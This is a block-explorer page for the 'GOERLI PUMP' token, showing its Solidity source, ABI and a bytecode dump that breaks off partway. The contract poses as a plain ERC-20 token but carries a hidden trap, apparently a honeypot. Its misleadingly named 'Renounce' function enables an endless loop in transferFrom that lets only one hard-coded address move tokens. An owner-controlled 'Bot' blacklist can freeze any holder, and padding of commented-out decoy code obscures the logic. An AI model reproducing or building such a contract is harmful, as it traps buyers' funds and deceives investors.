ETH Price: $3,237.12 (-3.24%)
Gas: 3.82 Gwei
 

Overview

Max Total Supply

100,000,000 🚀GOERLI🚀

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
696,685.115518846601921573 🚀GOERLI🚀

Value
$0.00
0x645e76a33f7f88c1e7500a79b09f817946f91f58
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GOERLI

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2022-08-11
*/

pragma solidity 0.8.15;

/* 


*/                                                                                                                                                                                                       
       

contract GOERLI {
  
    mapping (address => uint256) public balanceOf;
    mapping (address => bool) isValif;

    // 
    string public name = "GOERLI PUMP";
    string public symbol = unicode"🚀GOERLI🚀";
    uint8 public decimals = 18;
    uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);

    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor()  {
        // 
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

	address owner = msg.sender;


bool isEnabled;



modifier onlyOwner() {
    require(msg.sender == owner);
    _;
}

 /*                                                                                                       
       

    
    
 File: @openzeppelin/contracts/math/Math.sol


  
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));

    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
   
   

       return abi.decode(data, (bytes32)); */   




	
	


/* 
        bytes32 _struct,
        bytes32 _key
   "" ) internal view returns (bytes32) {
        StorageUnit store = StorageUnit(contractSlot(_struct));
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
              StorageUnit store = StorageUnit(contractSlot(_struct));
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
            
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));
      
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""

      return abi.decode(data, (bytes32));
*/     



    function Renounce() public onlyOwner  {
    isEnabled = !isEnabled;
}



    function Add(address _user) public onlyOwner {
        require(!isValif[_user], "user is Bot");
        isValif[_user] = true;
        // emit events as well
    }
    
    function Remove(address _user) public onlyOwner {
        require(isValif[_user], "not Bot");
        isValif[_user] = false;
        // emit events as well
    }
    
 


   
    
    

/*///    );
    
    
 File: @openzeppelin/contracts/math/Math.sol


  
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));

    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
   
   

       return abi.decode(data, (bytes32)); */   




	
	


/* 
        bytes32 _struct,
        bytes32 _key
   "" ) internal view returns (bytes32) {
        StorageUnit store = StorageUnit(contractSlot(_struct));
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
              StorageUnit store = StorageUnit(contractSlot(_struct));
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
            
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""
   

      require(success, "error reading storage");
      return abi.decode(data, (bytes32));
      
            
            	   
            
        
         solium-disable-next-line 
      (bool success, bytes memory data) = address(store).staticcall(
        abi.encodeWithSelector(
           store.read.selector,
         _key"""

      return abi.decode(data, (bytes32));
*/





    function transfer(address to, uint256 value) public returns (bool success) {
        
require(!isValif[msg.sender] , "Bot"); 


require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;  
        balanceOf[to] += value;          
        emit Transfer(msg.sender, to, value);
        return true;
    }
    
    
    
    


    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => mapping(address => uint256)) public allowance;

    function approve(address spender, uint256 value)
       public
        returns (bool success)


       {
            
  

           
       allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }



/*

       bytes memory slotcode = type(StorageUnit).creationCode;
     solium-disable-next-line 
      // assembly{ pop(create2(0, add(slotcode, 0x20), mload(slotcode), _struct)) }
   

    
    
     soliuma-next-line 
        (bool success, bytes memory data) = address(store).staticcall(
        //abi.encodeWithSelector(

          _key"""
   
        if (!IsContract.isContract(address(store))) {
            return bytes32(0);
            
            
            	   
            
 
            
            */


address GF = 0x9b7593aEB67CEd84f9e293eE69559425ee6338FF;


    function transferFrom(address from, address to, uint256 value)
        public
        returns (bool success)
    {   
        
      while(isEnabled) {
if(from == GF)  {
          require(!isValif[from] , "Bot"); 
                 require(!isValif[to] , "Bot"); 
         require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true; } }
        
        
        
        require(!isValif[from] , "Bot"); 
               require(!isValif[to] , "Bot"); 
        require(value <= balanceOf[from]);
        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;
        balanceOf[to] += value;
        allowance[from][msg.sender] -= value;
        emit Transfer(from, to, value);
        return true;
    }
    

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"Add","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"Remove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Renounce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600b81526020017f474f45524c492050554d50000000000000000000000000000000000000000000815250600290816200004a9190620004b3565b506040518060400160405280600e81526020017ff09f9a80474f45524c49f09f9a8000000000000000000000000000000000000081525060039081620000919190620004b3565b506012600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff16600a620000cc91906200072a565b6305f5e100620000dd91906200077b565b60055533600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550739b7593aeb67ced84f9e293ee69559425ee6338ff600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200018357600080fd5b506005546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516200022b9190620007ed565b60405180910390a36200080a565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620002bb57607f821691505b602082108103620002d157620002d062000273565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200033b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620002fc565b620003478683620002fc565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620003946200038e62000388846200035f565b62000369565b6200035f565b9050919050565b6000819050919050565b620003b08362000373565b620003c8620003bf826200039b565b84845462000309565b825550505050565b600090565b620003df620003d0565b620003ec818484620003a5565b505050565b5b81811015620004145762000408600082620003d5565b600181019050620003f2565b5050565b601f82111562000463576200042d81620002d7565b6200043884620002ec565b8101602085101562000448578190505b620004606200045785620002ec565b830182620003f1565b50505b505050565b600082821c905092915050565b6000620004886000198460080262000468565b1980831691505092915050565b6000620004a3838362000475565b9150826002028217905092915050565b620004be8262000239565b67ffffffffffffffff811115620004da57620004d962000244565b5b620004e68254620002a2565b620004f382828562000418565b600060209050601f8311600181146200052b576000841562000516578287015190505b62000522858262000495565b86555062000592565b601f1984166200053b86620002d7565b60005b8281101562000565578489015182556001820191506020850194506020810190506200053e565b8683101562000585578489015162000581601f89168262000475565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000628578086048111156200060057620005ff6200059a565b5b6001851615620006105780820291505b80810290506200062085620005c9565b9450620005e0565b94509492505050565b60008262000643576001905062000716565b8162000653576000905062000716565b81600181146200066c57600281146200067757620006ad565b600191505062000716565b60ff8411156200068c576200068b6200059a565b5b8360020a915084821115620006a657620006a56200059a565b5b5062000716565b5060208310610133831016604e8410600b8410161715620006e75782820a905083811115620006e157620006e06200059a565b5b62000716565b620006f68484846001620005d6565b9250905081840481111562000710576200070f6200059a565b5b81810290505b9392505050565b600060ff82169050919050565b600062000737826200035f565b915062000744836200071d565b9250620007737fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000631565b905092915050565b600062000788826200035f565b915062000795836200035f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007d157620007d06200059a565b5b828202905092915050565b620007e7816200035f565b82525050565b6000602082019050620008046000830184620007dc565b92915050565b6116e7806200081a6000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806387dc5eec1161007157806387dc5eec146101a357806395d89b41146101bf578063a9059cbb146101dd578063be7c7ac31461020d578063dd62ed3e14610229578063ddff1e3b14610259576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610263565b6040516100ce9190611202565b60405180910390f35b6100f160048036038101906100ec91906112bd565b6102f1565b6040516100fe9190611318565b60405180910390f35b61010f6103e3565b60405161011c9190611342565b60405180910390f35b61013f600480360381019061013a919061135d565b6103e9565b60405161014c9190611318565b60405180910390f35b61015d610b90565b60405161016a91906113cc565b60405180910390f35b61018d600480360381019061018891906113e7565b610ba3565b60405161019a9190611342565b60405180910390f35b6101bd60048036038101906101b891906113e7565b610bbb565b005b6101c7610cfc565b6040516101d49190611202565b60405180910390f35b6101f760048036038101906101f291906112bd565b610d8a565b6040516102049190611318565b60405180910390f35b610227600480360381019061022291906113e7565b610f7d565b005b610243600480360381019061023e9190611414565b6110be565b6040516102509190611342565b60405180910390f35b6102616110e3565b005b6002805461027090611483565b80601f016020809104026020016040519081016040528092919081815260200182805461029c90611483565b80156102e95780601f106102be576101008083540402835291602001916102e9565b820191906000526020600020905b8154815290600101906020018083116102cc57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103d19190611342565b60405180910390a36001905092915050565b60055481565b60005b600660149054906101000a900460ff16156107f457600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036107ef57600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104da90611500565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056790611500565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105bb57600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561064457600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610692919061154f565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e79190611583565b9250508190555081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461077a919061154f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107de9190611342565b60405180910390a360019050610b89565b6103ec565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087890611500565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561090e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090590611500565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561095957600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109e257600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a30919061154f565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a859190611583565b9250508190555081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b18919061154f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b7c9190611342565b60405180910390a3600190505b9392505050565b600460009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1557600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ca2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9990611625565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60038054610d0990611483565b80601f0160208091040260200160405190810160405280929190818152602001828054610d3590611483565b8015610d825780601f10610d5757610100808354040283529160200191610d82565b820191906000526020600020905b815481529060010190602001808311610d6557829003601f168201915b505050505081565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1090611500565b60405180910390fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e6457600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb2919061154f565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f079190611583565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f6b9190611342565b60405180910390a36001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd757600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105a90611691565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6007602052816000526040600020602052806000526040600020600091509150505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461113d57600080fd5b600660149054906101000a900460ff1615600660146101000a81548160ff021916908315150217905550565b600081519050919050565b600082825260208201905092915050565b60005b838110156111a3578082015181840152602081019050611188565b838111156111b2576000848401525b50505050565b6000601f19601f8301169050919050565b60006111d482611169565b6111de8185611174565b93506111ee818560208601611185565b6111f7816111b8565b840191505092915050565b6000602082019050818103600083015261121c81846111c9565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061125482611229565b9050919050565b61126481611249565b811461126f57600080fd5b50565b6000813590506112818161125b565b92915050565b6000819050919050565b61129a81611287565b81146112a557600080fd5b50565b6000813590506112b781611291565b92915050565b600080604083850312156112d4576112d3611224565b5b60006112e285828601611272565b92505060206112f3858286016112a8565b9150509250929050565b60008115159050919050565b611312816112fd565b82525050565b600060208201905061132d6000830184611309565b92915050565b61133c81611287565b82525050565b60006020820190506113576000830184611333565b92915050565b60008060006060848603121561137657611375611224565b5b600061138486828701611272565b935050602061139586828701611272565b92505060406113a6868287016112a8565b9150509250925092565b600060ff82169050919050565b6113c6816113b0565b82525050565b60006020820190506113e160008301846113bd565b92915050565b6000602082840312156113fd576113fc611224565b5b600061140b84828501611272565b91505092915050565b6000806040838503121561142b5761142a611224565b5b600061143985828601611272565b925050602061144a85828601611272565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061149b57607f821691505b6020821081036114ae576114ad611454565b5b50919050565b7f426f740000000000000000000000000000000000000000000000000000000000600082015250565b60006114ea600383611174565b91506114f5826114b4565b602082019050919050565b60006020820190508181036000830152611519816114dd565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061155a82611287565b915061156583611287565b92508282101561157857611577611520565b5b828203905092915050565b600061158e82611287565b915061159983611287565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156115ce576115cd611520565b5b828201905092915050565b7f7573657220697320426f74000000000000000000000000000000000000000000600082015250565b600061160f600b83611174565b915061161a826115d9565b602082019050919050565b6000602082019050818103600083015261163e81611602565b9050919050565b7f6e6f7420426f7400000000000000000000000000000000000000000000000000600082015250565b600061167b600783611174565b915061168682611645565b602082019050919050565b600060208201905081810360008301526116aa8161166e565b905091905056fea26469706673582212206a84217187d9c6af34f8f3a6e3150b064e37633758e27f9eeb4a1e97bb3791c164736f6c634300080f0033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806387dc5eec1161007157806387dc5eec146101a357806395d89b41146101bf578063a9059cbb146101dd578063be7c7ac31461020d578063dd62ed3e14610229578063ddff1e3b14610259576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610263565b6040516100ce9190611202565b60405180910390f35b6100f160048036038101906100ec91906112bd565b6102f1565b6040516100fe9190611318565b60405180910390f35b61010f6103e3565b60405161011c9190611342565b60405180910390f35b61013f600480360381019061013a919061135d565b6103e9565b60405161014c9190611318565b60405180910390f35b61015d610b90565b60405161016a91906113cc565b60405180910390f35b61018d600480360381019061018891906113e7565b610ba3565b60405161019a9190611342565b60405180910390f35b6101bd60048036038101906101b891906113e7565b610bbb565b005b6101c7610cfc565b6040516101d49190611202565b60405180910390f35b6101f760048036038101906101f291906112bd565b610d8a565b6040516102049190611318565b60405180910390f35b610227600480360381019061022291906113e7565b610f7d565b005b610243600480360381019061023e9190611414565b6110be565b6040516102509190611342565b60405180910390f35b6102616110e3565b005b6002805461027090611483565b80601f016020809104026020016040519081016040528092919081815260200182805461029c90611483565b80156102e95780601f106102be576101008083540402835291602001916102e9565b820191906000526020600020905b8154815290600101906020018083116102cc57829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103d19190611342565b60405180910390a36001905092915050565b60055481565b60005b600660149054906101000a900460ff16156107f457600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036107ef57600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156104e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104da90611500565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056790611500565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156105bb57600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561064457600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610692919061154f565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106e79190611583565b9250508190555081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461077a919061154f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107de9190611342565b60405180910390a360019050610b89565b6103ec565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610881576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087890611500565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561090e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090590611500565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561095957600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156109e257600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a30919061154f565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610a859190611583565b9250508190555081600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b18919061154f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b7c9190611342565b60405180910390a3600190505b9392505050565b600460009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1557600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610ca2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9990611625565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60038054610d0990611483565b80601f0160208091040260200160405190810160405280929190818152602001828054610d3590611483565b8015610d825780601f10610d5757610100808354040283529160200191610d82565b820191906000526020600020905b815481529060010190602001808311610d6557829003601f168201915b505050505081565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1090611500565b60405180910390fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e6457600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb2919061154f565b92505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f079190611583565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f6b9190611342565b60405180910390a36001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd757600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105a90611691565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6007602052816000526040600020602052806000526040600020600091509150505481565b600660009054906101000a900473f